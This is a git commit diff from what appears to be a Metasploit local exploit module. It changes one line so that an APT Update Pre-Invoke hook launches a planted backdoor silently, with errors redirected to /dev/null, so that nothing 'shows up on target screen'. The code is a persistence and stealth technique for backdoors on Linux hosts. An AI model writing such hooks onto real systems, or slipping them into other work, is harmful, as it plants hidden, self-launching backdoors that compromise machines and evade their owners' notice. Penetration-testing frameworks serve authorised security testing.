Changed hook payload to redirect errors, to not show up on target screen

master
Aaron Ringo 2019-03-31 12:09:40 -05:00
parent 299334ae7f
commit 22c3fe35f7
1 changed files with 1 additions and 1 deletions

View File

@ -69,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Local
backdoor_path << backdoor_name
print_status("Attempting to write hook:")
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} &\"};"
hook_script = "APT::Update::Pre-Invoke {\"setsid #{backdoor_path} 2>/dev/null &\"};"
write_file(hook_path, hook_script)
unless exist? hook_path